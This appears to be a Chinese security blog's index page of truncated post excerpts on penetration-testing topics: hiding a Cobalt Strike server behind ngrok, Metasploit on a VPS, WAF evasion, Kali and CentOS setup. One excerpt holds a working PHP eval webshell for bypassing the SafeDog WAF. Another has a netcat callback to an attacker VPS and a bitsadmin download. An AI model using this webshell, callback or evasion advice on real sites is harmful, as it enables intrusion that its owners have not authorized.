场景：像我这样遵纪守法的祖国的好公民，最近遇到了一个很烦恼的问题，在渗透一些网站的时候需要cs上线，而我cs的服务器端是我的vps，我的vps上有解析了我的域名，而我的域名又进行了实名认证。如果使用cs进行上线，这不是明摆着给蓝队进行送分嘛。这不行，这可不行，不用cs又特别的麻烦。于是就想到可以通过ngrok隧道，隐藏IP进行上线。原理：大概的流程就是将cs的服务端与ngrok公网IP建立隧道，建

背景：复制了一个虚拟机，将root密码重置为123456后，使用xshell通过ssh登录竟然失败，检查了很多次，确定root账号密码正确，以下是记录的排查过程。

虚拟网卡配置环境问题：虚拟机桥接获取不到IP地址，通过还原默认设置，指定物理网卡解决靶机1，内网网卡获取不到IP地址，通过添加配置文件解决。开始渗透：Kali:192.168.1.13Centos7:192.168.1.16192.168.22.11扫端口使用nmap 顺便扫漏洞nmap -sS -A 192.168.101.91 --script=vuln比较慢，没有截图访问80测试宝塔未授权访

之前用的国外的vps，速度慢不说，还贼贵。最近手头比较紧，国外的vps过期之后就没有再续费。奈何日常工作中需要经常使用vps反弹shell，只能从国内购买一个便宜的vps。由于需要经常用到msf，于是就有了这篇博文，vps安装msf教程。yum -y install ruby安装rubyyum -y install xorg-x11-server-Xvfb安装支持包下载...

CentOS 7主要有7种登录模式，分别是：0级（关机）、1级（单用户，single）、2级 （多用户，multi）、3级（多用户模式）、4级（预留）、5级（多用户模式）、6级（重启模式）。2、在编辑界面，不断往下，如下图，在UTF-8行后面，追加rw single init=/bin/bash，然后Ctrl+X重启系统。我有一个CentOS虚拟机，但是密码忘记了，偶尔记起可以重置密码，于是今天尝

一、下载与校验1、官方下载bt种子https://www.kali.org/get-kali/#kali-bare-metal2、使用迅雷打开torrent文件进行下载，这样下载速度快。3、校验哈希值是否一致二、创建虚拟机4、开始创建点击进行自定义硬件在ISO映像文件中选择刚刚下载的kali的iso镜像。三、启动并安装...

近来发现好多网站有安全狗，会拦截菜刀和蚁剑，因此总结下通过浏览器直接调用一句话木马的姿势。PHP一句话：<?php @eval($_POST['shy']);?>firefox浏览器：hackbar命令提示符：curl首先上传一句话木马到网站目录，可以是虚拟机也可以是VPS，我这里用的是阿里云我自己搭建的网站，由于只是简单的一句话木马，因次一上车就收到了安全云的短信...

一、探测内网服务器出网协议windows系统1，icmp协议出网探测ping自己的IP地址2，DNS协议出网探测ping www.baidu.comnslookup www.baidu.com3，TCP出网探测telnet vps ip2，nc攻击机：nc -lvvp 4444受害机：nc vps-ip 44443,bitsadmin /rawreturn /transfer down "http

懒呀，果然懒是人的第一毛病也是人的第一动力，我都已将忘记了有多久没有登陆vps了，没有维护我自己的网站了，之前把我自己的vps给小伙伴们去玩了，我去，不会对我vps造成什么破坏吧，我的网站还好吗？我怀着忐忑的心情访问了我的网站。我的天了，果然出问题了，我的看板娘、我的笔记、我的雪花，你们知道我在网站美化上面花费了多少时间，投入了多少心血嘛。事已至此先排错吧，404：无法找到该文件排查：文件名正确、

一、安装1、下载地址：Windows 版本：https://dl.google.com/android/repository/platform-tools-latest-windows.zipMac 版本：https://dl.google.com/android/repository/platform-tools-latest-darwin.zipLinux 版本：https://dl.goog